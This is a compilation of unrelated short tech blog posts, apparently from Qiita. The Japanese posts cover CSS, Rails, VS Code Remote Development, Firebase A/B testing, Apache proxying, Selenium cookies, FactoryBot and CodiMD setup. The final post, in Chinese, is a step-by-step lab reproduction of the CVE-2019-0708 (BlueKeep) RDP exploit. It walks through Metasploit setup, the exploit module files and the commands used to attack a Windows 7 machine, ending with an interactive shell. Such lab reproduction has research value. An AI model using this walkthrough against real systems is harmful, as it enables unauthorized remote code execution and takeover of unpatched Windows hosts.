そこで検索したところ、この記事（ <a href="https://stackoverflow.com/questions/15652428/rgba-is-not-working-when-i-had-it-working-5-minutes-ago">css - rgba is not working, when i had it working 5 minutes ago - Stack Overflow</a> ）にたどり着いた。要は、「余計なスペースが入っている」とのこと。

そこで自分のソースコードを確認。すると、

````
background-color: rgb(106, 52, 29, 0.5);
````
こうなっていた。rgbaのaがなかった。

よくこれで表示されていたな。むしろ描画して欲しくないな。
JavaScriptが効かないときの対処法【Rails】

Railsで「slick」をインストールしてスライドショーの機能をもたせることしました。
しかし、JavaScriptが効かず、一回ブラウザをリロードするとJavaScriptが効き、スライドショーの機能が現れるようになるというなんとも不思議なことが起きました。

この現象の解決策は２通りあり、どちらも至って簡単だったので残します。

## 解決策１：「application.js」 を編集する
「application.js」の以下の記述を削除します。

```javascript:application.js
// = require turbolinks
```

原因は、どうやら `turbolinks` が効いているおかげで、JavaScriptを省略していたようでした。

## 解決策２： `form_with` に `local: true` をつける
今回は「slick」によって画像をスライドさせる機能を実装していたので、 `form_with` で画像を呼び出していました。
その `form_with` に以下のように `local: true` をつけていきます。

```slim:index.html.slim
= form_with model: @image, local: true do |f|
```
Visual Studio Code  に Remote Development を 導入 しよう

# 目的

- Visual Studio CodeにRemote Developmentを導入する

# 実行環境

ローカルのOS
- Windows10
接続先のOS
- Ubuntu18.04

# この記事のターゲット

- Visual Studio CodeにRemote Developmentを導入したい方
- インストールはできるけどいまいち使い方が分からない方
- WSL環境Remote Developmentで開発作業をしたい方

# Remote Developmentって？

- めっちゃ便利なプラグイン
- SSH接続を行い、リモートから接続先のマシンの中でVisual Studio Codeを起動することができる
- WSLの仮想Linuxにも接続することができる

# SSH FSとの違い(筆者の主観も含む)

1. SSH FSは自分のPCで起動したVisual Studio CodeでSSH接続先のファイルを編集する
1. Remote DevelopmentはSSH接続先でVisual Studio Codeを起動しファイルを編集する。

# 実施概要

※下記の概要はすでにWSLのインストールが完了し、使用できることが前提です。
※まだWSLの環境が整っていない方は[こちら]()※リンク先は準備中です。

1. Remote Developmentのインストール
1. SSHのconfigファイルの設定(リモートマシンに接続するときの設定WSLに接続するときは不要)
1. 接続テスト

# 実施詳細

1. Remote Developmentのインストール
  1. [こちら](https://qiita.com/miriwo/items/0518cfa1fd0d2edc1826)を参考にRemote Developmentの導入を行う
  1. Remode Developmentと検索しインストールする際、インストール完了後に赤枠内も自動的にインストールされたことを確認する
    ![RD_01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/609f4878-4262-1576-b7aa-9bf594aab436.png)
 
1. SSHのconfigファイルの設定(リモートマシンに接続するときの設定WSLに接続するときは不要)
  1. インストール後、下記画像のアイコンが現れるのでクリックする。
    ![RD_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/7d7696a3-36b8-29d6-9337-c968dec50d6f.png)
  1. サイドバーに表示された`Configure`をクリックする。
    ![RD_03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/b21ef6a7-1a56-23db-c431-cf88d3c4a7dc.png)
  1. 表示された`C:\Users\ユーザ名\.ssh\config`をクリックする。
    ![RD_04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/048e1398-c03e-c121-8414-d8e7f7d8a92b.png)
  1. 下記画像のようにSSHのconfigファイルが開く
    ![RD_05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/93761ecd-4957-d1f6-f3af-f384edfb2186.png)
  1. 接続に必要な情報を記入する。
      - `Host alias` →　`alias`の部分を消して接続設定の名前を記入する。(任意のものでOK、わかりやすいものにしよう)
      - `HostName hostname` → `hostname`の部分を消して接続先のIPアドレスを記入する。
      - `User user` → `user`の部分を消して接続先マシンのいずれかのユーザ名を入力する。
    ![RD_06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/7c4b674e-40ae-8806-56bf-e1afd1edc7ab.png)
     
1. 接続テスト(WSL)
  1. WSLを起動する
  1. Visual Studio Codeの左下の角に存在する`><`をクリックする。
    ![RD_14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/a8d65978-0b94-9a2e-6084-bc34b0736f51.png)
  1. 出力されたメニューの一番上の「Remote-WSL:New Window」をクリックする。
    ![RD_15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/ea211f3c-74d2-fd79-f025-a44581125b77.png)
  1. セキュリティの警告が出るので「アクセスを許可する」をクリックする。
    ![RD_11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/ff8f971d-38e7-6231-11ae-220919e9fb6f.png)
  1. 「Remote-WSL:New Window」をクリックしたときに新しく起動した新しいウインドウの矢印部分をクリックする。
    ![RD_12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/fa841043-4b50-ca43-f175-f4c1299d5e89.png)
  1. サイドバーに「WSL:Ubuntu-18.04に接続済み」と記載されていることを確認する。18.04はWSLのバージョンにより異なる。
    ![RD_13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/306417/193bf6ef-d27f-4d88-e945-6704ac722d4e.png)
androidのfirebase AB Testingの初期化でハマッた話

※本記事は、ある程度、Firebase AB Testingを使い込んでいる人を対象としています。予めご承知おきくださいませ。

#Firebase AB Testing、とても便利ですよね。

ユーザー調査において、定性調査（ユーザーテスト、インタビュー）をするのは、エンジニアとしては荷が重いですね。

AB Testingによる定量調査（イベント数から優位性判断）ならば、手が届きそうな感じがしませんか？
※突き詰めたら、これはこれで専門知識が必要なんですけどね。。

筆者も、日々、プログラミングとAB Testingの結果を眺めながら生活をしていますが、ある日のスプリントレビューで衝撃の展開が発生しました。

# AB Testingにアサインされたユーザのバリアントが切り替わっている

先週まで圧倒的に優位だったバリアントが、次の週で突然、優位性が逆転しているという現象が発生しました。

弊社サーバログも合わせて解析したところ、どうやら所属バリアントが切り替わっているユーザーが存在していると推測されました。

テスト期間中に所属バリアントが切り替わってしまったら致命的ですね。テストの意味が無くなってしまいます。

ここから我々の長きにわたる（？）解析、実験のサイクルが始まりました。
色々と大変だったので詳細をモリモリ書きたい所ですが、結果だけ記載しますね。

少しでも同じ轍を踏む人が減ることを願っています。

#環境
implementation "com.google.firebase:firebase-config:18.0.0"

# 原因:FirebaseRemoteConfigへのfetch方法に問題があった

問題が発生していたコードは、FirebaseRemoteConfig#fetch メソッドでRemoteConfigを取得後、 FirebaseRemoteConfig#activate をコールしていました。

すると、activateを呼んだ直後はAB Testingで指定した値は取得できず、もう一度fetch→activateをしないといけない事が分かりました。

試行錯誤の結果、FirebaseRemoteConfig#fetchAndActivateを利用すると、初回からAB Testingのバリアントで指定した値が取得出来ました。

まとめると、以下です。

## Firebase側の設定
RemoteConfig = key : "testKey", value = "UnassignedValue"

AB Testing

Variant1 = key : "testKey", value = "AssignedXXXValue"
Variant2 = key : "testKey", value = "AssignedYYYValue"


##FirebaseRemoteConfig#fetch, FirebaseRemoteConfig#activate を使った場合

初回のfetch結果では"testKey", value = "UnassignedValue"が取得される。
activate後に再度、fetchを実行すると、Variant1 or Variant2の値が返却される。

##FirebaseRemoteConfig#fetchAndActivate を使った場合
初回のfetch結果で Variant1 or Variant2の値が返却される。


上記の振る舞いにより、利用初日はバリアント1に所属していたユーザーが、アプリを終了後、次の日起動したらバリアント2に切り替わってしまうという事態を引き起こしていたのです。

#余談:FirebaseInstance Id が変わらない限り、所属バリアントが変わることは無い

Firebaseサポート様からご教示頂いた内容です。

この観点で再調査してみたところ、我々のアプリの初期化シーケンスで FirebaseInstance Id の削除が呼ばれるパターンが存在していました。

つまり、AB Testingにアサイン後に、InstnceIdを削除してしまった為、次回アプリ起動時に再アサインされ、バリアントが切り替わっていた可能性がありました。

#おわりに
本件はFirebaseサポート様とも共有していまして、もし、記事の内容に誤り等がありましたら、速やかに修正しますね。
皆様の楽しいAB Testingライフに貢献できれば幸いです。
httpsで構築したnodejsアプリケーションをApacheのリバースプロキシで転送する


#80,443以外のポートで構築したアプリケーションをリバースプロキシで転送する

**掲題のとおり、Apache 443ポートから127.0.0.1ポート3000で動作中のnodejsアプリケーションに転送する** 

通常、WEBアプリケーションは、80ポート、443ポートで構築するため別段リバースプロキシを必要としないが、特にPHP以外の言語で構築した場合、GoやNodejsなどは別途任意のポートで構築すると思います。
その際の80あるいは443ポートで待ち受ける際のリバースプロキシの設定がうまくいかなかったので、備忘録として残しておきます。

**※参照元**
*https://blog.neet-shikakugets.com/construct-reverse-proxy-using-apache*


 

##まずは、ベースとなるアプリケーションの前面にたつリバースプロキシなしのSSL設定の場合

```ini

<VirtualHost *:443>
# SSL
SSLEngine on
SSLCertificateFile  /var/www/[SSL証明書へのパス]/cert.pem
SSLCertificateKeyFile  /var/www/[SSL証明書発行時の秘密鍵へのパス]/privkey.pem
 
</VirutalHost>
```

**上記の設定で問題なし**

 
##これに、一般的なリバースプロキシ転送を行おうとする場合

```ini
<VirtualHost *:443>
# SSL
SSLEngine on
SSLCertificateFile  /var/www/○○○○○/cert.pem
SSLCertificateKeyFile  /var/www/○○○○/privkey.pem
# Proxy設定
ProxyRequests Off
ProxyPass / https://your-original.com:3000/
ProxyPassReverse / https://your-original.com:3000/
</VirtualHost>

```
*※このままの設定でなかなか解決せずかなりハマってしまいました。*

**さて、実際には上記の設定だけでは無効で以下のようにする必要がある**

```ini
<VirtualHost *:443>
# SSL
SSLEngine on
SSLProxyEngine On # <<<-この設定が必要になる
SSLCertificateFile  /var/www/○○○○/cert.pem
SSLCertificateKeyFile  /var/www/○○○○/privkey.pem
# Proxy設定
ProxyRequests Off
ProxyPass / https://your-original.com:3000/ # <<< 末尾の/は必須のようです。
ProxyPassReverse / https://your-original.com:3000/ # <<< 末尾の/は必須のようです。
</VirtualHost>

```

 
上記設定で例えば、
https://your-original.com から https://your-original.com:3000 へと転送される。
Flexboxでborderの重なりが気になる場合


## 結果だけ先に書くと
```css
.flex-item {
  /* border: 1px solid black; */
  box-shadow : 0 0 0 1px black;
}
```


`border: 1px solid black;` だと下みたいに、borderが重なる時に太くなっちゃう。
![ 2019-09-07 11.20.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136617/674f46d6-f109-800e-e9e4-cd6a664002ea.png)

`box-shadow : 0 0 0 1px black;` だと内側に影として枠線をつけるので、重ならない！
![ 2019-09-07 11.22.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136617/a0dadcb7-81ab-4cdb-8e0f-d0459e59000d.png)



## 参考
```html
<div id="flex-container">
  <div class="flex-item">flexアイテム１</div>
  <div class="flex-item">flexアイテム２</div>
  <div class="flex-item">flexアイテム３</div>
</div>
```

```css
#flex-container {
  display: flex;
  width: 600px;
}
.flex-item {
  width: 200px;
  padding: 10px;
  text-align: center;
  /* border: 1px solid black; */
  /* ↓↓↓ */
  box-shadow : 0 0 0 1px black;
  background-color: gray;
}
```

![ 2019-09-07 11.22.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136617/a0dadcb7-81ab-4cdb-8e0f-d0459e59000d.png)
Groovyで配列からn個づつ取り出す

#コード
```groovy
def domain=['out','open','vid','uuu','rrrr','tttt','kkk','rrr','ppp','rfde','wsaq']

def splitCount = 5

for (i in 0..Math.ceil(domain.size() / splitCount) -1 ) {  

    //開始index
    def firstIndex = i == 0 ? i : i * splitCount

    //終了index
    def lastIndex = (firstIndex + splitCount - 1) < domain.size() - 1 ?  (firstIndex + splitCount - 1) : domain.size() - 1

    print "start:" + firstIndex + "\n"
    print "end:" + lastIndex + "\n"

    print "get list:" + domain[firstIndex..lastIndex] + "\n"

}
```

#結果
```bash
start:0
end:4
get list:[out, open, vid, uuu, rrrr]
start:5
end:9
get list:[tttt, kkk, rrr, ppp, rfde]
start:10
end:10
get list:[wsaq]
```
Slackチャンネルのおすすめ運用ルール | TD3P

# 💊こんな症状に効果があります
- チャンネル多すぎて把握できない
- どのチャンネルを削除、アーカイブしていいのかわからない
- どのチャンネルにどの情報を流せばいいのかわからない
- チャンネル名の規則がなくてバラバラ
- チャンネルって勝手に作っていいの？

# 🌟効果
1. チャンネルの過多、情報の散らばりが防げる
1. あるべき情報があるべきチャンネルに流れるようになる
1. 命名規則のおかげで、チャンネル名のバラツキを防げる
1. チャンネルの退出orアーカイブの心理的ハードルが下がる
1. 一時的なチャンネルも作りやすくする 
1. チャンネルの整理整頓が楽になる


# 運用ルール
- チャンネルは命名規則に乗っ取って作成すること
- プライベートチャンネルは基本的に使用しないこと
- メインチャンネルに追加したい場合はマネージャーの許可を取ること
- サブチャンネルは使用が終わったらアーカイブすること
- 半年以上投稿が無いチャンネルはアーカイブしてok


# 命名規則
- **<span style="color: red; ">[メインカテゴリ名] _ [サブカテゴリ名]で統一する<span style="color: red; ">**
- ex) team_developer


# メインチャンネルの種別と使い分けの例
- **all_**~ / 社内運用系
- **team_**~ / 各部署への代表番号的な
- **random_**~ / 日常会話
- **info_**~ / read系
- **dev_**~ / 開発部門系チャンネル
- **co_**~ / コーポレート部門系チャンネル
- **times_個人名**~ / 分報チャンネル
- などなど

*generalチャンネルは全員強制参加のチャンネルなので、社内の超重要な業務連絡などに使いましょう

# サブチャンネルの種別と使い分けの例
サブチャンネル＝使い終わったらアーカイブしちゃってokなチャンネル

- **pj** / 各プロジェクトチーム毎の仮設チャンネル
    - ex) pj_新規登録フロー改善
    - ex) pj_新機能開発
- **tmp** / その他一時的なチャンネル全般
    - ex) tmp_新年会
    - ex) tmp_忘年会


# おすすめプラグイン
- 命名規則を整えるとこんな感じになります
- https://chrome.google.com/webstore/detail/slack-channels-grouping/lcbnhfianneihfgkmfncnhpkpghedbkm?authuser=0&hl=ja
- 注意：アプリ版では使えません

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63060/4911f852-ff33-2df7-d842-7bb5b15d8d74.png)


# tips
- generalの扱い
    - https://get.slack.help/hc/ja/articles/220105027--general-%E3%83%81%E3%83%A3%E3%83%B3%E3%83%8D%E3%83%AB%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6
- 分報について
    - [Slackで「分報」を導入したらめっちゃ作業効率があがった](https://note.mu/reoleo/n/n102308f5b4e3)

# 役に立ったらシェア＆いいねお願いします😄！
Selenium さんなら Cookie の賞味期限を知っている

弊社某プロジェクトの結合テストで，付与した Cookie の有効期限を確かめるケースがありました．
弊社では自動テストツールを独自に開発して結合テストを行っていたが，ドメインに付与されている Cookie の中身まで見ることができませんでした．
わたしは個人的に JavaScript の document.cookie で Cookie の中身を見る方法を知っていましたが，それでも有効期限を見ることはできませんでした．
そこでふと思ったのが， Selenium さんなら Cookie の有効期限が取れるのではないか，と．
調べてみたらありましたので紹介しておきます．

## 環境

### Ruby

```text
$ ruby -v
ruby 2.5.3p105 (2018-10-18 revision 65156) [x64-mingw32]
```

### chromedriver.exe

お使いの Chrome のバージョンと合ったものを下記からダウンロードします．その際に保存先のパスを控えておいてください．
[Downloads - ChromeDriver - WebDriver for Chrome](https://chromedriver.chromium.org/downloads)

### 使用したメソッド

```ruby
driver.manage.all_cookies
```

## 手順

### 適当にディレクトリを用意し，その中に以下の 2 ファイルを用意する

- Cookie を有効期限付きで付与する Javascript の入った html

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cookie Test</title>
    <script type="text/javascript">
        document.cookie = 'key=value; max-age=1800;'
    </script>
</head>
<body>
<p id="aaa">Displayed</p>
</body>
</html>
```

- Cookie の有効期限を確かめる Ruby スクリプト

```ruby
require 'selenium-webdriver'

# Browser Config
Selenium::WebDriver::Chrome::Service.driver_path = ENV['DRIVER_PATH']
wait = Selenium::WebDriver::Wait.new(:timeout => 10)
options = Selenium::WebDriver::Chrome::Options.new
options.prefs['profile.default_content_setting_values.notifications'] = 2 # ignore chrome popup

# Run Browser
driver = Selenium::WebDriver::for(:chrome, options: options)
now = Time.now
driver.get('localhost:8000/index.html')
wait.until { driver.find_element(:id, 'aaa').displayed? }
all_cookies = driver.manage.all_cookies # Get Cookies
p all_cookies
driver.quit

# Check Cookie's Expire
expires = all_cookies[0][:expires].to_time
diff = expires - now
if (diff - 1800).abs <= 1
  puts 'OK'
end
```

### ビルトインサーバを立ち上げる

```shell
ruby -rwebrick -e 'WEBrick::HTTPServer.new(:DocumentRoot => "./html/", :Port => 8000).start'
```

### Ruby スクリプトを実行する

DRIVER_PATH に先ほど控えていた chromedriver のパスを入れます．

```shell
DRIVER_PATH=${ your path to chromedriver } ruby getCookieExpire.rb
```

## 結果

Chrome の Developer Tools で見ていたものがすべて取れました．

```
DevTools listening on ws://127.0.0.1:50670/devtools/browser/2de236f9-70a3-46b6-9565-d95b0efe1850
[{:name=>"key", :value=>"value", :path=>"/", :domain=>"localhost", :expires=>#<DateTime: 2019-09-07T01:42:39+00:00 ((2458734j,6159s,709238028n),+0s,2299161j)>, :secure=>false}]
OK

Process finished with exit code 0
```

今後弊社のテストがはかどりそうな気がします♬
pythonで非連続回帰デザインを実行する

#はじめに

次の投稿で、非連続回帰デザインをベイズでモデリングする予定なのですが、その前座として、回帰分断デザイン(RDD)をPythonで実行しました。
#データセット
###補講授業とテストの点数のデータセット
学生のテストの点数(春)と、テストの点数(秋)がある。春のテストの点数が60点以下の生徒は、補講を受けている。![test.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/371779/5da57551-4f67-9583-17c8-323a4670379a.png)

http://www.ner.takushoku-u.ac.jp/masano/class_material/waseda/keiryo/16_rdd.html
#目的
補講授業による点数上昇の効果を見たい。
#方法
単純に、補講を受けた生徒、受けていない生徒の平均値の比較等を行うことはできない(補講の効果が、点数が高い生徒と点数が低い生徒で同一に現れるとは考えにくく、何かしらのバイアスを含んでいると考えられるから)。
そこで、今回はRDDを行う。
方法は単純。
①補講を受けた生徒、受けていない生徒のそれぞれで単回帰を行う。
②60点付近での単回帰の差分を求める(60点付近の生徒であれば、生徒の背景が揃っていると考えられるため)。
#結果
補講を受けた生徒、受けていない生徒のそれぞれで回帰を引くと、このような結果になった。
60点前後での回帰直線の差は、13.04だった。
![rdd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/371779/caadef9d-54b5-fe04-f748-e7777f1c2b67.png)
#結論
補講を受けると成績が上がる。
補講を受けることによる効果は、大体13点くらい点数を上げる効果がありそう。

#コード
```python
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn import linear_model
%matplotlib inline

exam_score = pd.read_csv("../Desktop/exam_score.csv")

#補講を受けていない生徒に単回帰
exam_score_0 = exam_score[exam_score["T"] == 0.0]
X_0 = exam_score_0["Z"].reshape(-1, 1)
Y_0 = exam_score_0["Y"].as_matrix()
clf = linear_model.LinearRegression(fit_intercept=True, normalize=False, copy_X=True, n_jobs=1)
clf.fit(X_0, Y_0)
coef_0 = clf.coef_
intercept_0 = clf.intercept_

#補講を受けた生徒に単回帰
exam_score_1 = exam_score[exam_score["T"] == 1.0]
X_1 = exam_score_1["Z"].reshape(-1, 1)
Y_1 = exam_score_1["Y"].as_matrix()
clf1 = linear_model.LinearRegression(fit_intercept=True, normalize=False, copy_X=True, n_jobs=1)
clf1.fit(X_1, Y_1)
coef_1 = clf1.coef_
intercept_1 = clf1.intercept_

#補講の効果を算出
print((coef_1[0] * 60 + intercept_1) - (coef_0[0] * 60 + intercept_0))

#直線を引く
x1 = list(range(20, 70, 10))
x0 = list(range(60, 110, 10))
y1 = [coef_1[0] * i + intercept_1 for i in x1]
y0 = [coef_0[0] * i + intercept_0 for i in x0]

#グラフ
fig = plt.figure(figsize = (10, 8))
# FigureにAxesを１つ追加
ax = fig.add_subplot(111)
ax.plot(x0, y0, color = "blue")
ax.plot(x1, y1, color="red")
ax.scatter(X_0, Y_0, color="blue")
ax.scatter(X_1, Y_1, color="red")
ax.vlines(60, 30, 100, linestyle='dashed', linewidth=2)
ax.set_ylabel("Y: Test Score(Fall)", fontsize=20)
ax.set_xlabel("Z: Test Score(Spring)",fontsize=20)
ax.set_title("Exam Scores in Spring and Fall", fontsize=20)
ax.legend(["補講なし", "補講あり"], fontsize=15)
```

#参考ページ
Rで回帰分断デザイン
https://qiita.com/saltcooky/items/b7cb016498d2dd7b327e
plunkerでtensorflow.js その10

#概要

plunkerでtensorflow.jsやってみた。
xorやってみた。
tf.sequentialで書いてみた。
weight、biasを取り出した。
スクラッチで、推論してみた。

#結果

```
1, 0 = 0.8371124851972399
0, 1 = 0.8455343370410994
1, 1 = 0.19574534232152524
0, 0 = 0.10890343081140781
```

#成果物

https://embed.plnkr.co/62EiOylIpqatA4THRhQj/

以上。
plunkerでtensorflow.js その9

#概要

plunkerでtensorflow.jsやってみた。
xorやってみた。
tf.modelで書いてみた。
weight、biasを取り出した。
スクラッチで、推論してみた。

#結果

```
1, 0 = 0.9930820551281272
0, 1 = 0.9901955802665744
1, 1 = 0.009365672054855405
0, 0 = 0.008831631806551653
```

成果物

https://embed.plnkr.co/ue9mD9vw3qRAAt4QJZE5/

以上。
[RSpec] FactoryBot で関連づけられた 大量の factory を作成する

# 環境
Macbook Pro
Rails 5.2.2
Ruby 2.6.3

#  問題

以下の関連付けが行われているときに大量の factory を作成する方法を研究しました。
user > customers > products の２段の関連付けが行われているとします。

``` app/models/user.rb
has_many :customers
```
``` app/models/customer.rb
belongs_to :user
has_many :products
```

``` app/models/product.rb
belongs_to :customer
```

# 解決方法

色々試行錯誤して、半日かかってしまいました... 
私の解法はこちらです。

## ユーザーの作成方法

まずは簡単に2人のユーザーを作ります。

``` spec/factories/user.rb
FactoryBot.define do
  %w(user1 user2 user3).each do |user|
    factory user.to_sym, class: User do
      email {"#{user}@example.com"}
      password {'password'}
    end
  end
```

``` spec/models/user_spec.rb
require 'rails_helper'

describe "User" do
  let!(:user1) { create :user1 }
  let!(:user2) { create :user2 }

  it 'user check' do
    p user1
    p user2
  end
end
```

## カスタマーの作成方法

次に、
user1 に関連づけられた customer1_1, customer1_2
user2 に関連づけられた customer2_1
を作成します。

``` spec/factories/customer.rb
FactoryBot.define do
  %w(customer1_1 customer1_2 customer2_1).each do |custmer|
    factory customer.to_sym, class: Customer do
      name { customer }
    end
  end
```

rspec でカスタマーを作成するときに、オプション「user: user1」で関連づけることがポイントです。これをしないと、エラーになります。

``` spec/models/customer_spec.rb
describe "Customer" do
  let!(:user1) { create :user1 }
  let!(:user2) { create :user2 }
  let!(:customer1_1) { create(:customer1_1, user: user1) } # user1 と関連付ける
  let!(:customer1_2) { create(:customer1_2, user: user1) } # user1 と関連付ける
  let!(:customer2_1) { create(:customer2_1, user: user2) } # user2 と関連付ける

  it 'customer check' do
    p user1
    p user2
    p customer1_1
    p customer1_2
    p customer2_1
  end
end
```

## プロダクトの作成方法

最後に、
customer1_1 に関連づけられた product1_1_1, product1_1_2
customer1_2 に関連づけられた product1_2_1
を作成します。

``` spec/factories/product.rb
FactoryBot.define do
  %w(product1_1_1 product1_1_2 product1_1_3 product1_2_1).each do |product|
    factory product.to_sym, class: Product do
      name { product }
    end
  end
end
```

先ほどと同じようにプロダクトを作成するときに、オプション「customer: customer1_1」で関連づけることがポイントです。仕組みがわかると簡単。これで大量のデータが作成できますね。

``` spec/models/product_spec.rb
require 'rails_helper'

describe "Product" do
  let!(:user1) { create :user1 }
  let!(:customer1_1) { create(:customer1_1, user: user1) } # user1 と関連付ける
  let!(:customer1_2) { create(:customer1_2, user: user1) } # user1 と関連付ける
  let!(:product1_1_1) { create(:product1_1_1, customer: customer1_1) } # customer1_1 と関連付ける
  let!(:product1_1_2) { create(:product1_1_2, customer: customer1_1) } # customer1_1 と関連付ける
  let!(:product1_2_1) { create(:product1_2_1, customer: customer1_2) } # customer1_2 と関連付ける


  it 'product check' do
    p user1
    p customer1_1
    p customer1_2
    p product1_1_1
    p product1_1_2
    p product1_2_1
  end
end
```

もし間違っているところがあれば教えてください。よろしくお願いいたします。

## 参考

ありがとうございます。参考にさせていただきました。

[[Rspec] 関連で「バリデーションに失敗しました」が発生するとき](https://qiita.com/sada4649/items/2305db41ccbc676f84b3
)

## 追記

もうお済みと思いますが、以下の設定をしていないとエラーになりますので追記します。

``` spec/rails_heler.rb
  config.include FactoryBot::Syntax::Methods
```
電車でQuestするとどうなるか - 新幹線編 -

[前回](https://qiita.com/satoshi_noda/items/bfaea4ec0bd324a73dd4)は、電車の中でOculusQuestをかぶってゲームなどをするとどうなるかを実験した。
新幹線に乗る機会が訪れたので、今回は新幹線でどうなるかを実験した。

![IMG_20190907_090452.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/141310/308ac9bd-313e-0717-2315-a67bb9470938.jpeg)

# 共通条件
実施した内容で共通する条件は、以下になる。

* 新幹線で着座した状態
* 静止モードでプレイ
* プレイしたゲームは「Bait!」(釣りゲー)

# 実施内容
実施内容は以下になる。

* 窓の外の景色が把握できない場合
* 窓の外の景色が把握できる場合

# 実施結果
## 窓の外の景色が把握できない場合 
追加条件は以下になる。

* 進行方向を向いている
* 窓はブラインドを完全に下げている

結果は、途中でトラッキングが失われた。
速度に影響されているようで、速度が落ちると、自分が勝手に前に進んだ。
一定速度ではある程度安定していたが、新幹線の振動が分かるくらい、VR内の物が小さく振動していた。
ゆるやかなカーブは影響ないようだが、カーブ時に速度が落ちるとズレる。

## 窓の外の景色が把握できる場合
追加条件は以下になる。

* 窓を向いている
* 視界の大半が外の景色(移動している状況)

結果は、トラッキングし続けて、ホーム画面に移らなかった。

# まとめ
OculusQuestは新幹線に向いてなさそうだった。
OculusGoの場合は、カーブなどで少しずつズレていくだけで済んだが、OculusQuestはトラッキングが失われて、プレイ自体が中断されてしまう。
3DoFモードが出てくれば、解消されそうだが、現状では旅のお供はOculusGoの方が良さそう。
次は3DoFモードが出たら、今回の問題が解消されるのか試してみたい。
AWS環境にCodiMDをインストールしてみた


AWS環境にHackMDを作った時のやり方
インスタンスはAmazon Linux を使用。t2.microでも一応動いている

参考URL
https://qiita.com/atsuyuuki/items/072c41cb9405264cf368
https://qiita.com/DQNEO/items/da5df074c48b012152ee

参考サイトの方法でやったら若干うまく動かなかった箇所があるのでうまくいった方法を残しておく

```
sudo yum update -y && sudo yum install -y git docker
sudo curl -L https://github.com/docker/compose/releases/download/1.21.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
git clone https://github.com/hackmdio/docker-hackmd.git
cd docker-hackmd
sudo service docker start
```
`chmod`でパーミッションエラーになったので`sudo`で実行した

`docker-hackmd/docker-compose.yml` を編集（ここは参考サイトの通り）
`- HMD_DB_URL=postgres://hackmd:hackmdpass@database:5432/hackmd`の下に以下追加

```
      - CMD_ALLOW_ANONYMOUS=false
      - CMD_ALLOW_ANONYMOUS_EDITS=false
      - CMD_DEFAULT_PERMISSION=editable
      - CMD_IMAGE_UPLOAD_TYPE=filesystem
      - CMD_DOMAIN=(IPアドレス)
```

参考サイトに書いてあるようにこのまま`docker-compose up`とすると

```
ERROR: Couldn't connect to Docker daemon at http+docker://localhost - is it running?

If it's at a non-standard location, specify the URL with the DOCKER_HOST environment variable.
```
となったので、下記コマンドを実行

```
sudo gpasswd -a $USER docker
sudo systemctl restart docker

# exitして再ログインすると反映される。
exit
```
再ログインしたら

```
# -dをつけてバックグラウンドで実行
docker-compose up -d
```

初回実行は時間がかかるけど無事起動したら、
`http:IPアドレス:3000`でアクセス可能

あとはawsインスタンスへのアクセスにIP制限つけておけばいいんじゃなかろうか
CVE-2019-0708远程桌面代码执行漏洞复现

### 漏洞环境
使用VMware Fusion安装Windows7 SP1模拟受害机

Windows7 SP1下载链接:`ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/`

![Windows7 SP1](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/f0fe0171-f67c-c0bf-5020-4530790aab52.png)

### Exp
#### 攻击工具准备
- 1.使用如下命令一键安装metasploit-framework

```
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
```
- 2.下载Reference中的攻击套件放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可)

```
rdp.rb   ->   /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cve_2019_0708_bluekeep_rce.rb   ->   /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
```
#### 攻击命令
使用`msfconsole`进入metasploit-framework
进入以后使用`reload_all`重新加载0708rdp利用模块
使用`use exploit/windows/rdp/cve_2019_0708_bluekeep_rce`启用0708RDP攻击模块
使用`info`查看工具相关信息以及设置

![info](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/5e7f9339-d79b-8d33-7fd4-8e42cf51a443.png)

可见关键设置主要为`RHOSTS`\ `RPORT` \ `target`

使用`set RHOSTS 受害机IP`设置受害机IP
使用`set RPORT 受害机PORT`设置受害机RDP端口号
使用`set target ID数字(可选为0-4)`设置受害机机器架构
这里我们使用的是VMware Fusion,那么target 3满足条件
使用`exploit`开始攻击,等待建立连接
![exploit](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/42a50a8c-409a-f4cd-7a1f-41bba000a3b4.png)
建立连接以后,使用`shell`获得shell,再使用`python`获得交互式shell
